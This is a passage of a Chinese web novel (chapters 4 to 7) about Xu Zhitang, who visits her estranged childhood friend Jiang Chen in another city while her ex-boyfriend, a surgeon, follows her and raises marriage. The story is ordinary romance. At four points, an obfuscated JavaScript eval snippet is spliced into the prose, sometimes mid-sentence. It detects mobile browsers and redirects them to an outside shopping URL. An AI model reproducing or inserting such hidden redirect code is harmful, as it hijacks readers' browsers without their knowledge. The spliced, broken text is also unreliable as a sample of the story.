但她说蒋谌搬走之后,两人关系就疏远了,没想到还能联系上,“我记得他不是跟亲戚去京市了吗?还考的国大医学院。” 蒋谌在本校的名声,早在她认识许知棠之前就有所耳闻。跳级怪,考上国内最顶尖的医学院很正常,但按理说该留在本地合理运用资源,或是出国才对,怎么又跑到千里之外的海市了。 “嗯,应该是毕业以后过来工作的吧。”许知棠语焉不详,只一味满意地照镜子,“谁叫我脸皮厚呢。” 她也不知道蒋谌为什么没出国读书,甚至还转了专业,前两年刚听说的时候也很震惊。现在终于有机会搞清楚了,晚上吃饭的时候就问。 她沉迷于欣赏自己的美貌,以至于错过了闺蜜意味深长的眼神,“行,那不打扰你约会了,好好准备吧。” 蒋谌的微信稍后发过来,晚饭约在六点钟。 【好嘟o(>ω 【可以先把地址发给我吗,等到时间差不多我就打车过去,这样你就不用再跑一趟了o(>ω 【下班去接你,离酒店很近】 看上去是没得商量的意思。许知棠只好又回了遍好嘟,无聊地坐在床边翘脚。 六点钟的约会,她四点就化好全妆,换好衣服在等了。 想到这些天都没办法拍视频,她起身在酒店房间寻找灯光,自拍了半个小时,精心修图,终于有两张满意的,发到账号里混更新。 还剩下点时间。许知棠拎起自己准备的礼物,感觉单薄了些,又拿手机查找附近的花店。 正好有一家,距离酒店只有两百多米。她立刻下楼,蹬着新买的长靴一路小跑,挑选适合的花束。 谈了恋爱她才知道,其实男孩也都喜欢花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661103|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,收到花也会很开心的。何松砚读研时她每周都会买,也是为了宣示主权,直接让人送到宿舍里去。 他说起时总有些无奈,但眼中浮动的笑意是真切的。 没办法。她长这么大只谈过一个男朋友,给男人送花的经验也都是从同一个人身上习得的。想到花,难免就会想到他。 花店里没有现成的款式可以搭配伴手礼,她说明了要求,和老板一起挑花材,设计花束。最后选了吸色的午夜蓝玫瑰,郁金香和剑兰配成一小束,拿在手上好看又不会太惹眼。 老板也很喜欢,“这个款以后放在我们店里卖可以吗?作为交换,可以免单。” “当然!” 审美被肯定又能免单,许知棠心情大好,连带着心底的惆怅也冲淡许多。 没再发生别的插曲。见到蒋谌时,她还保持着这么副满血的模样,容光焕发地出现,一上车直接递花过来,“送给你的,工作辛苦啦。” “……” 蒋谌还要开车,接过花象征性地拿了两秒,又还给她。动作生硬,语气也生硬,“谢谢。” 车上没怎么细看,下了车才发现,才一天没见,她从头到脚换了个遍。皮裙加短上衣,露腿露腰又露肩,耳环晃得闪眼。 律所里再注重外表的女性也都会选择职业装,哪有人会穿得这么大胆。 蒋谌视线回避,认为她对这顿饭过分重视,“这只是顿普通晚饭。” “这里很好啊,我本来也很喜欢吃椰子鸡火锅。”她开朗道,“再说酒店你都帮我订了,要是再请我吃很贵的餐厅,我会于心不安的。” 两个人对普通的理解并不在一个脑回路上。 他选吃饭的地方,优先考虑的是距离近。许知棠也想到了,应该就是回家路上捎带她随便吃点。 但她习惯使然,会珍惜不用穿工作装的一切机会,下楼扔个垃圾都要换条裙子的,更别说是出门吃饭。 等锅底沸开的时间,她又拿出礼物,“这个也是送给你的。我今天去逛街啦,买护手霜的时候感觉这个香味很适合你,就买了一套。” 蒋谌没有接,“我用不到这些。” “不会啊,冬天肯定用得到的。”以为对方是直男属性发作,她笑得狡黠,“你不好意思在公司里涂的话,可以回家以后偷偷用。” “……” “而且套装里除了护手霜,还有同款的香水,香水应该可以用吧?喏。” 她不由分说,起身把袋子放到蒋谌那边。热情得不给他再次拒绝的机会,又开始说别的,“昨天我进门发现灯光已经调好了,才知道酒店提前过来开夜床,是你在家的时候就打电话订的房间对不对?我还以为你是去忙工作来着,在洗手间冲水都不敢太大声。” “……” “昨天晚上睡得超好!床垫和枕头也都很舒服,我很喜欢。” 蒋谌没有接话,余光扫过身边的手提袋。是他生活里完全不会出现的粉蓝配色,底图也开着大片花朵,和他身上黑白色的正装完全不搭。 明明包装密封良好,他却已经被香气侵扰,感到不适。 所以他又朝花束多看了一眼,也很理所当然。 他不理解许知棠的热情,即使早知道她是活泼开朗的性格,也依然察觉到怪异。 刚失恋就对别的男人这么殷勤。合理吗? 蒋谌原本也无意多想。 可谁叫她大老远跑来,带了束这么漂亮的花,还一个劲地说什么我很喜欢。 5. 第 5 章 眼前的人不是难缠的客户,性格也谈不上心机深重,蒋谌认为没有必要跟她兜圈子,“你来找我,到底是为了什么事?” “没……没什么事啊。”许知棠尬笑了一下,有些回避他黑沉沉的眼睛。 目的性太强被发现了。 蒋谌当然猜不到她为什么来。但这个人脑袋聪明又很敏锐,随便讲点理由肯定是没办法蒙混过关的,她有心理准备。 “我发誓,不是要跟你借钱,也不是拜托你介绍人脉找工作什么的。”她举起手指,一脸真挚,“纯粹来玩的。” 服务员推餐车过来,一样样摆好调料小碟,掀开锅盖。热气升腾,带着椰子清甜的香气。 蒋谌可能并没有完全相信,但也没再用审视的目光注视她,拿起手压器,把青桔压出汁水,“许叔叔身体还好吗?” “应该还好吧,在家里放着呢,我每个月回去给他擦擦灰。”她说,“去年走的,颅内出血并发症。现在我家就剩我一个了。” 蒋谌一怔,手上动作没停,“抱歉。” “抱什么歉啊,又不是你让他天天喝酒熬夜的。” 许知棠接过他递来的料碟,往里加自己喜欢的沙姜末,“说说你吧,怎么忽然想到做律师呢?以前从没听你说过对法律感兴趣。” “一时兴起。” 好敷衍。 她不满的表情都摆在脸上。蒋谌没打算解释太多,“你倒是长情。” “唉……也没有啦,我今年上半年离职了,准备改行做自媒体。”她大方地坦言,“做护理又苦又累工资又低,再说我这么漂亮,不当网红多浪费天赋啊,互联网这碗饭我一定要吃上!” “……” “干嘛用这种眼神看我。我又没有乱讲,还有星探来挖我呢。” 许知棠自信道,“放心吧,我是不会被骗的,那种不怀好意的骗子我都看得出来,再说还有松砚帮我看呢,他也很……聪明的。” 她的语气陡然滑坡,伴随着展示生活的兴致也削减了大半,是因为谁显而易见。 蒋谌也不好视而不见,象征性地问,“分手多久了?” “好几天了。” “还是那个?什么小何医生。” “对,就是他!”许知棠惊讶,“你怎么回知道啊?” “你朋友圈里一直发。” “原来你还会看我朋友圈!” “……” 蒋谌:“你一直发。” 她本来就爱发朋友圈,十条里又有八条都跟男朋友相关,只要刷到她就很难不看见。 学生时代尤其频繁,什么“今天去接小何医生下课的路上买到了超好吃的碱水粽”,“送给小何医生的专属定制版水笔花”,“你不睡我不睡,陪小何医生熬夜赶论文开组会”。 之后大概是工作太忙,她不像以前一样热衷于三天两头地更新朋友圈了,但几乎每次提到开心的事,都还是跟男朋友有关。 “因为会焦虑啊,我们院年轻漂亮的护士医生好多,总有人打听小何医生有没有对象。我这不也得时不时地宣誓下主权么。” 朋友圈本来就只是被精挑细选包装出来的生活碎片。她这人死要面子,越是跟男朋友吵架,越是要想方设法地秀恩爱,不愿外人知道他们感情出了问题。 但她也不想显得自己很恋爱脑,强行挽尊道,“其实我个人生活还是很丰富的,朋友圈只是冰山一角。真的,谈恋爱对我来说也不是很重要。” “嗯,”蒋谌淡淡地说,“不重要到为了早恋要跟我绝交。” “……” 如果不是桌上放满了好吃的菜,她一定会拍案而起:“我就知道你还在记仇!” 蒋谌正吃着没空说话,筷子一顿,被烫得微微眯起眼。 表情显得很挑衅。 将心比心,人家记仇也是应该的。许知棠迅速地放下面子,“不过确实,以前的事情是我对不起你。这样吧,现在正好有机会,你说怎么样可以补偿你,我保准听的。” 她自认为非常自然地衔接话题,循循善诱,“意思就是说,你有什么还没完成的心愿啊之类的,我都可以帮你完成。你看,正好我最近很闲,不缺时间。” 蒋谌说,“还真有。” 她心中一喜,想不到任务居然这么简单,“嗯嗯,是什么?” “快点吃完饭回家睡觉。” “……” 我请问呢。 许知棠无语凝噎。 她能感觉得到。她说了这么多自己的事情,蒋谌态度都不怎么关心,大概只是出于道义,把招待她当成一项不得不完成的任务,巴不得她早点走。 许知棠心里很不是滋味,“以前年纪小不懂事,也想不出什么好办法……其实你可以多问问我的,没准儿过一段时间我就分手了呢?那样我们早就联系起来了。” “然后假装什么都没发生过,继续当朋友,等到你下一次谈恋爱,再被你删一次?”蒋谌看着她。“没有意义。” 许知棠很小声地狡辩,“我也没删过你啊。” “每个人的选择不同。你为了哄男朋友高兴就可以放弃朋友,也该接受朋友选择主动远离你。”蒋谌说,“召之即来挥之即去的只有出租车。” 他的语气并不严厉,也不带多少情绪,似乎只是陈述事实。可许知棠听得太难受了,心里五味杂陈,就像小时候一样,做错事情被他训得抬不起头。 “我已经不那样想了,不会再觉得男朋友说什么就是什么。现在我知道了,朋友才是最重要的。”她总是很快认错,“对不起啊,是我拎不清,我做得不对。” “还是那句话,只是每个人的选择不同。”蒋谌说,“你没有做错什么。” 话虽如此,无形的压力还是在餐桌上蔓延开来。 蒋谌说话的声音和神情都没有变,依然倒水夹菜,妥帖地照顾她吃饭。可她就是如坐针毡,感到自己受了惩罚。 “今天公司里发周末脱口秀的票,我拿了两张,在我车上。”蒋谌说,“明天下午的票,你可以跟朋友一起去看。” “你不去吗?”她倏地抬起头,眼睛发亮,“我们两个一起去看吧。” “没空。”蒋谌还是这样回答。 “是一整天都没空吗?”他就只会说没空,也不说自己要做什么。许知棠揣度道,“那我下午跟朋友去玩,晚上回来找你吃饭可以吗?就像今天一样。” 他大概是要拒绝的,所以沉默了好几秒在想措辞。许知棠握着筷子继续受罚,真有点想哭了,才听到他说,“看情况。” 她悄悄透了一口气。 这顿饭终于有惊无险地吃下去。 心知他是不喜欢她见了面嬉皮笑脸,试图萌混过关的做法,她只能态度更诚恳一些,上了车又抓紧时间再讲一遍,“我真的知道错了。原谅我这次吧蒋谌哥,我们和好行不行?” “不行。”蒋谌说,“安全带。” “哦。”她垂头丧气地拉上系好,“可是,为什么啊。” 蒋谌说,“因为我还在记仇。” 许知棠一愣,迅速地领会,又开心起来,“记仇就记仇!我才不怕,大不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661104|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以后每天请你吃饭,吃到你再也记不起来为止。” 她的开心总是很明显,坐在副驾上闲不住,拿出新买的护手霜涂抹,挤在手背上蹭给他一点,“你试试这个,然后回去再试试你那个木质调的。估计你还是会觉得那个更好闻。” 蒋谌开着车,瞥了眼手背。乳白色的软膏被她随手蹭出弧度,像一弯小小的散发香气的月亮。 她一边说话,一边把护手霜细致地涂开。 月亮是玫瑰与莓果混合的馨香。 “知棠。” “嗯?” 她很喜欢蒋谌叫她的名字。尤其是小时候,院里其他孩子爱给人起外号,总成群结队地叫她喜之郎,被她抗议了两回反而叫得更起劲,非常烦人。 只有蒋谌会认真地叫她的名字,而且念得快的话,乍一听像是“吃糖”。多招人喜欢呢。 “真的没有别的事来找我?”他停了车,再一次发问。 许知棠意识到,如果她这趟跑来确实是有求于人的话,现在就是开口的最好机会。 蒋谌会帮助她。 然后彻底地耗尽了这份儿时的情谊,从此变成板上钉钉的陌生人,再也不会有修复如初的可能性。 她的人生中有一大半时间都在凭直觉行动,这种时刻更是没有犹豫,“只是想见你。” “为什么?”这似乎是他整个晚上,或者说见面以来,第一次认真地探究一个问题的原因。 “因为想你啊。”她笑着说。 “想了很久。所以还是觉得,不能不见。” 她高高兴兴地道完晚安,下了车。 蒋谌独自坐在车里,看着她走进酒店大堂,缓慢地涂开手背上的月亮。 他原本可以让这顿饭在宾主尽欢的氛围里结束,避开所有不愉快的回忆,营造一种崭新的假象。 或许也是不错的处理方式。但就像他自己说的—— 他只是没有选择那样做。 姚一尧打来电话,他漫不经心地听着,还在想过去的事。 十三岁的许知棠对他说,“如果在京市过得不开心,就回来好啦,你可以住在我家,跟我一起把高中再读一遍嘛。让我爸每天开他的小破车送我们去上学,多好啊。” 她一边说,一边美滋滋地幻想。跟今天开心洋溢的脸是一个样。 “许叔人不在了,”蒋谌忽然问,“是什么时候的事?你知道么。” “啊?这我还真不知道。” 姚一尧也很惊讶,“这两年太忙了,我都没回云川过年,也没怎么跟我爸妈打电话。是喜之郎跟你说的?你见到她了?” “她来这里散心。” “这样啊……怪不得。估计是没多久,还没走出来呢吧。” 姚一尧感慨地叹了口气,“怎么会这样。那她家里现在不也剩自己了么?跟你一样,怪可怜的。过两天我也抽个时间吧,咱们一起吃顿饭。” “扶贫来了?”蒋谌说,“不缺你这顿。” “诶我非请,怎么的吧?”他笑道,“我懂你的意思。不会特意提这个的,就吃顿饭聚聚,怎么也是小时候一起光着屁股玩到大的。你记得跟她说啊。” “知道了。”挂了电话,蒋谌才发现车里落下的票。刚才只顾着说话,忘了让她拿走。 他又打给许知棠。这还没过几分钟,对面接通时的语气变得有些鬼鬼祟祟,像是刻意压低回避,“什么事啊。” “在做贼?” “不是……是我男朋友,呃,前男友。” 她说,“我前男友来找我了。” 6. 第 6 章 许知棠也没想到他会来。可那是她如今在这个世界上最熟悉的人了,踏进大堂的第一时间就能认出他的身影。 他没有低头看手机,即使在沙发上也会挺直脊背端坐,保持仪态和风度,平静地翻阅酒店画册。和平时翻阅论文,翻看菜单时都没有什么两样。 “棠棠。” 他忽地抬起头,清隽的眸光隐隐含笑,“怎么不过来?” 何松砚也早就发现了她。 被这小小的默契击中,许知棠几乎是本能地朝他走过去了,“你怎么知道我在这儿啊。” “你更新的照片带了定位。” 女朋友的账号他当然有关注。从前许知棠很生气的时候,连他的微信都会拉黑,但总还会留一个可以联系上的方式,让他能把人哄回来。 这次分手都没有拉黑他。何松砚觉得事情不算很严重。 许知棠是忘了。车祸醒来之后,她的心思大半都在怎么搞定蒋谌这件关乎未来的大事上。 谁能想到他会直接追过来?他每周轮班只有一天的休息时间,云川到海市直达的航班又很少,需要去周边城市转机,不太方便。这个点到这儿,很可能是跟她一样,坐了将近五个小时的高铁。 眼睛都熬红了。 许知棠心软下来,轻声问,“你今天没有休息吗?” “上午在你家睡了一会儿。”他如实道,“还以为你去市场买菜,等你的时候补了个觉,路上倒是没怎么睡。” 上学那会儿精力旺盛,当然是一有空就要出去约会。现在日子久了,两人更喜欢待在家里,一起研究下吃什么,平平淡淡地休息一整天。 许知棠很会煲汤,尤其是鱼汤,只有鲜味没有腥味。连何松砚这样平时不爱吃海鲜水产的人都很喜欢她做的鱼汤,值完夜班温温地喝上一碗,身心熨帖。 他站起身,手掌自然地贴着她裸出一截的细腰。许知棠太习惯了没有躲开,但刚刚吃饱的小肚子还是条件反射地吸气,把他逗笑,“别吸了。” “伤成这样怎么还穿短裙?换药了吗?” “嗯,我自己在药店里买了换的。” “什么也不带,出院都没办就急着往外跑。”看她垂着脑袋,情绪不高,何松砚没忍心再说她,“好了,先上去吧。” 许知棠不知道该不该让他进门,但看着他舟车劳顿后疲惫的脸色,着实说不出拒绝的话,“你明天还要上班。” “嗯,定了早上六点的机票回去。” “这么赶……” “定好闹钟起床不会耽误的。”何松砚说,“不来看你一眼怎么放心?” 她肯更新照片,就是在给线索。他如果视而不见,之后事态升级会更难哄。 谈了这么多年,孰轻孰重还是能分清的。 进了房间他去冲澡。许知棠正坐在床上心神恍惚时,接到蒋谌的电话,“哦,对……票,我也忘记了。” “票我放在前台,明天你自己下来拿。”听得出她魂不守舍,蒋谌问,“能应付吗?” “嗯嗯,没事的。只是前男友而已,不是什么坏人。” 蒋谌并未置评,“姚一尧听说你来,想请你吃饭。” “哦哦,好的。” “……” 蒋谌说,“真没事?” “真没事。”她小声嘀咕,“就心情有点复杂而已。” 以往都是她主动低头的时候更多,这次终于被追着哄了,又感到不知所措。 “明天见面再跟你说吧。”何松砚洗完澡出来,她就挂了电话。 “在和谁聊天?” “朋友,送了我脱口秀的票。是明天下午的场。” 他点点头,“抱歉,我明天还要回去上班。” “我知道。”许知棠习以为常,“又没有要求你留下来陪我看。” “别怪我,医院里实在太忙了。以后有巡演去云川的话,等我轮休也可以陪你一起去看。” 他没带睡衣,略略擦干头发就上了床,“怎么忽然想到要来这里玩?” “就是忽然想到的。”她含糊地说。 “怎么不叫个朋友跟你一起来玩呢?” “因为大家都跟你一样忙。好了,我一个人也能玩得很开心,你不要总是跟我说话了,早点睡觉回去上班。” 许知棠跑进浴室里,给闺蜜发微信汇报情况。 陶悦早想到会有这么一天,很难忍住不阴阳两句,“呦,何医生那么忙还亲自去抓人呀。是不是很感动?说吧,打算几点钟正式复合,我可以帮忙给你倒计时。” “……” “你就不该让他进门!” “可是他才值完夜班又坐这么远的车,真的很累。”许知棠说。她自己之前在医院工作也是经常要昼夜颠倒的,知道那种身心疲惫的感受。 “心疼男人会倒霉一辈子啊姐妹!至理名言别忘了。”陶悦道,“再说医院里那个女的是怎么回事,他解释得清楚吗。别跟我说你相信他啊,他何医生也不是什么圣人。” “那是院长女儿,我确实知道。”许知棠坐在马桶上,摸了摸发痒的伤口,“相不相信都没什么意义了,我只是跟你汇报一下,没打算复合。” “真的假的。等下院草用美色勾引你也不动心?人就在你床上。” 许知棠探头往外看了一眼,诚实道,“可能还是要动心一下的。所以我才躲来洗手间跟你聊天啊,磨蹭到他睡着再出去。” “你对自己的美色也有点自知之明好吧,这边洗着澡,他在外面能睡着?” “……我不知道。”她想笑又没能笑出来,“陶陶,我不知道他为什么来。” 她没有感受到以往分手复合时那种紧张兴奋,大起大落的情绪,反倒有种大事发生前的惴惴不安。 “还能为什么啊,当然是想挽回你,好继续享受你的崇拜和溺爱。”陶悦道,“不过滚到一张床也不代表就要复合啊。大家都是成年人了,只睡不负责也是可以的。” “……” 她还是很会为自己姐妹的快乐着想的,因为许知棠说过他床上表现很不错,“别管,享受就完了。你明天什么安排?他应该还要回医院吧。” “嗯,明天我打算约离岸老师一起去看脱口秀,蒋谌哥给了我两张票。”许知棠说。 “你要约她?”陶悦对这位社恐略有耳闻,“有点难度啊。” “试试嘛,反正来都来了。” “行,见着活的替我多拍两张合照。” 许知棠说,“没问题。” 卸妆和洗澡平时要花上很久,更别说她现在膝盖有伤,行动不太方便。等她洗漱好出来,房间里早就一片安静。 许知棠轻手轻脚地从另一侧上床,才躺好没过一分钟,身后的热源就贴了过来,“你还没睡……干什么?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661105|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “想你。” “我是说你的手在干什么……” 他说,“检查一下有没有想我。” 外科医生的手艺和传闻中一样精湛。两个人在被窝里揉来捏去还能有什么别的结果?她用了相当大的自制力,才没有沉沦进去。 “还在生我的气?”何松砚察觉她有些抗拒,把她翻了个面,抵着额头低声解释,“棠棠,我们真的只是说话。你也知道的,大小姐驾到,为了应付长辈的唠叨而已。” 许知棠知道这事也不是一天两天了。三院院长唯恐人才流失,总是借着各种理由把他叫去饭局应酬,还几次试图把女儿介绍给他,好彻底地绑定这位青年才俊。 以个人资质来看,何松砚绝对是潜力股。家庭又是普通中产,拿捏起来不困难,做上门女婿简直是不二人选。 气得许知棠乱用成语,直骂老东西逼良为娼。 “等转去省医院,就能摆脱他们,你也不用总是因为这个生气了。不好么?” 她面颊上擦伤的痕迹已经结了道薄薄的痂,何松砚爱怜地轻抚,“到时候你想回医院工作,我可以想办法,不想工作就待在家里。我父母那里也已经准备好了首付,最快年底就可以买房,写我们两个的名字,或者只写你一个人的名字都可以。跟我去吧。” 许知棠怔住了,“你是在跟我求婚吗。” “当然不是。求婚我会另外找时间。” 必要的仪式感不能缺,小女孩都讲究这个。他笑着说,“只是先告诉你,让你有个心理准备。否则你一下子被吓跑了怎么办?” “可是……你的意思就是,想跟我结婚。”她说。 “没错。” 六年恋爱谈下来,结局只有两个,要么结婚,要么彻底分开。 他从来没想过要跟许知棠分开。至于她提的分手,就像是闹别扭时的一点小情趣,促使着他们每次和好后关系更进一步。 磨合到了今天,两人的关系和家人也没什么两样了。他只是不爱说大话,没走到这个阶段就不会空口许诺,其实结婚一直都是放在心里的默认选项。 许知棠确实被惊到了,有些语无伦次,“可是,我真的很不想离开云川,我的家在那里,我最爱的人都在那里。” 她忧心忡忡,“去陌生的地方生活……我不想回医院了,可没有朋友和家人,还没有工作的话,我很难适应的。” 何松砚是对医学有崇高追求的人,读研时就目标明确,不会甘心庸庸碌碌地待在小地方的医院。她知道他热爱自己的事业,自然就要投入很多时间和精力,也觉得两人还年轻,确实应该以事业为主,所以没怎么想过结婚的事。 ——最多是在亲戚朋友结婚生子时顺带地想一下,很浅。 应付自己的工作就够麻烦了,她想象不到组建一个新的家庭,甚至生育和抚养一个孩子,要再花多大的力气。 “你还有我,不是吗?”何松砚安抚她。“别害怕。从前经历的一切都有我陪你,以后也是。只是身份转变而已,你还是你,我也还是我。” 许知棠沉默半晌,小声道,“你很爱我吗?” “当然。” “你要说出来。” “我很爱你,棠棠。” “如果我变成一只小猫呢,”她接着问,“你还是爱我吗?” 何松砚失笑,轻轻吻她的额头,“又在说什么傻话。” 7. 第 7 章 何松砚知道,自己的女朋友就是这样,天真烂漫,孩子心性。他也并不强求许知棠立刻变成贤妻良母的模样。 人在每个阶段的心态各不相同,都是要亲自经历过,才会长大。她在医院当护士时工作得就很出色,辞职是件遗憾的事,正因如此,何松砚相信她有能力适应身份的转变。 等她成为妻子,成为母亲之后,心态自然而然地就会发生变化,知道自己该怎么做。 “明天要不要跟我一起回去?”何松砚问。“看你已经买了不少东西,应该也逛得差不多了。” 以往出远门旅行,她都习惯把最后一天当血拼日,疯狂逛街买完所有想要的东西,以满载而归给旅行做结尾。 “不要……我现在脑子很乱。需要自己待几天好好想想。” 许知棠没有听到最想听的话。而且她觉得自己说的话,他也并没有听进去。 所以其实对于她而言,什么样的回答都没差别。何松砚是在告诉她可以准备结婚了,而不是问她,要不要跟他结婚。 他深信事情会按照他规划好的样子发展。或许以前的确是这样,但现在不是了。 “我和朋友约好了,明天还要一起吃饭的。”她说,“陶陶说给我介绍这边的朋友,可能会有拍摄机会,我还想跟认识的博主见面交流一下。很多事要做。” “还是模特拍摄吗?”何松砚微微皱眉,“这个行业里骗子太多了,也不是能干一辈子的职业。说到底还是吃青春饭,你一时玩玩可以,最好还是不要投入太多精力。” “青春饭就得青春时吃啊。”许知棠难过地笑了笑,“难道我现在很老了吗?” “当然不是。” 这个问题两人已经有过讨论,何松砚认为她还是没明白,“我的意思是,即使你不想再待在医院了,再选择接下来的职业时也要多想想,为将来做长远打算。” “现在你当然是年轻漂亮的,可二十年后,三十年后呢?等到你被新人挤出行业再去考虑转行?难道你想六十岁再重新开始找工作吗?” “我六十岁也很漂亮好不好!”许知棠倔强道,“你只是对我喜欢的行业有偏见。况且谁能保证自己一定能活到六十岁?我爸爸,我妈妈他们都没有活到!” “……” 争吵的趋势戛然而止。何松砚明显地愣了一下,有些无言以对,只好先安慰道,“好了,不说这些了。” 许知棠背对着他拱起身,也被下意识的反驳勾起心底积压的悲伤。 人并不是都会慢慢衰老死亡的,是随时会死。她的两次经历都印证了这点。 人生只有一次。她要趁还活着,趁还来得及,选择自己真正热爱的事业,有什么错呢。 只是暂时还不太顺利罢了。 她的父母都是在三院去世的。失去家人的痛苦很大程度上影响了她的生活态度,让她做出今天的选择。 何松砚认为自己应该更包容一些。就算她真的失业待在家里,又有什么呢?大不了由他来负担一切。 “我们会有一个稳定的,长久的家。绝对可以看到对方六十岁,八十岁,一百岁的样子。” 他故意逗她,“希望到时候照镜子,你也能像今天一样,斩钉截铁地说我很漂亮。” 许知棠哼了一声,眼泪又不争气地往下掉,“不要骗我跟你和好。” 他描绘的未来是大多数的向往的生活。可为什么她就是无法将自己带入进去,沉浸式地畅想那种幸福感呢? 她想,一定因为她是小猫咪,所以才无法对人类的幸福生活感同身受。 她假装睡着,等到何松砚真的睡着之后,又偷偷起来玩手机玩到凌晨三点。 她查找两人的聊天记录,找到了脑子里浮现的那次对话,翻来覆去地看。 【如果有一天我变成猫,你还会爱我吗?】 问答的时间是在两年前。何松砚那时回答她—— 【变成毛毛虫也会爱你】 他那么聪明,不会对callback的时机无动于衷。 他只是不记得了。 她熬夜太晚,一觉睡到了中午。睡醒看微信才发现,何松砚给她转了一万块钱。大概是看出这次住的酒店比以往贵,怕她身上钱不够花。 【再玩几天就回来吧,一个人在外面待太久不安全】 【别在景点乱买吃的,路边摊不干净,别太晚回酒店】 放在半年前,她大概会把转账截图发发朋友圈。但是许知棠看着手机,不知道为什么,心情没有太激动。 应该是身为小猫咪的现实感在起作用。 她起床洗漱,一边泡澡一边想,如果自己不再继续完成报恩任务,而是像何松砚期望的那样,搬家到省会城市去结婚生子,会有什么样的后果。 小说里好像写的是会“引起剧情混乱,导致世界崩塌”?但具体怎么个混乱崩塌法,她也不大记得了。 她裹好浴巾起身,刚迈出一步,忽然眼前一片漆黑,脑袋晕得站不住。 天旋地转。许知棠跌坐在地板上,摔得屁股生疼,摸索半天才找到马桶扶着坐了起来,惊出一身冷汗。 只是想了一下另一种可能性,就被惩罚了吗? 她是一定要当小猫咪的命了! 许知棠感受到这个小说世界意志的残酷,为了保命,也得把心思强行扭转过来。 休息片刻,她捋清这一天的行程,给想约的网友发去了微信。 离岸是她去年结识的网友,在两人有互动之前,就已经被她关注了一段时间。 她天生是吃不胖体质,薄薄的一条人,所以格外喜欢看前凸后翘的美女,自己没有就眼馋一下别人。而离岸就是她在互联网上最馋的那一个。 原本她也只是混在评论区里嗷嗷叫些“妈妈”“老婆”过个嘴瘾,直到父亲去世后,某天深夜发的emo小作文被离岸老师评论安慰,才知道两人有相同的遭遇。 都是亲人刚过世不久,她们加了微信,互相倾诉互相鼓励,使得那段日子不算太黑暗。 她是可以向男朋友寻求安慰,但说实话,除非感同身受,痛苦是很难交流的。再说倾诉多了也容易讨嫌,她怕何松砚听得厌烦。 因此她和离岸迅速地熟络起来,不止一跃成为关系最亲密的博主,私下里也常分享彼此的生活。 她知道对方上个月刚刚搬来海市。离岸找到工作正式入职的那天,她也非常开心,还给点了好吃的外卖帮忙庆祝。 只是就像陶悦说的那样,离岸老师是位知名社恐,跳擦边舞都不好意思露脸,更别说线下见面。 很难约。 然而她直觉可以约到。 【离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661106|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岸八百里:这么突然吗】 【离岸八百里:我还没有做好心里准备QAQ真的我从来没跟网友见过面】 【一只棠一直躺:我也没有跟网友见过面嘿嘿嘿这不是机会难得嘛】 【一只棠一直躺:而且我接下来要去个很远的地方,说不定以后都没机会见面】 【一只棠一直躺:走之前真的很想见你宝宝TAT】 离岸老师发给她一个震惊的表情包。 许知棠不太懂,但是回了一张可爱的猫猫头,还没有意识到自己因为不好告知实情而想出的借口,看起来有多容易令人误会。 从对方纠结了几十秒,给出的回答中可以窥见一斑。 【离岸八百里:好的,我今天休息,随时可以出门】 【离岸八百里:我们在剧场门口见面?】 【一只棠一直躺:好耶!不着急,下午场的时间还有好几个小时】 【一只棠一直躺:[定位]我们在这家餐厅见面吧,离剧场不远,附近有些小买手店也可以逛一下~】 【离岸八百里:好的宝宝】 【离岸八百里:我收拾一下就出门,待会儿见】 约到了! 许知棠兴冲冲地化妆穿搭,掐着点下楼到酒店前台,拿到票后自拍了一张,发给蒋谌。 【[图片]拿到啦】 【你还在忙吗?注意休息】 【要记得和我约了晚饭喔o(>ω 他回复得比想象当中快很多。 【我不跟有对象的异性单独吃饭】 “……” 好没道理的拒绝。 许知棠心头噌地窜起一团火苗。 好闺蜜吐槽她也就算了。蒋谌根本都没好好跟她聊过,只靠看她朋友圈那点了解程度就如此推断,实在让她很没面子。 【[发怒][炸弹][大哭]没有复合!!】 【怎么你们都觉得我是个很没骨气的人吗!】 【本来还想说在外面遇到什么好吃的给你捎一份呢】 【自己喝西北风去吧!】 她大步走出酒店,坐进出租车,砰地一声拉上车门。 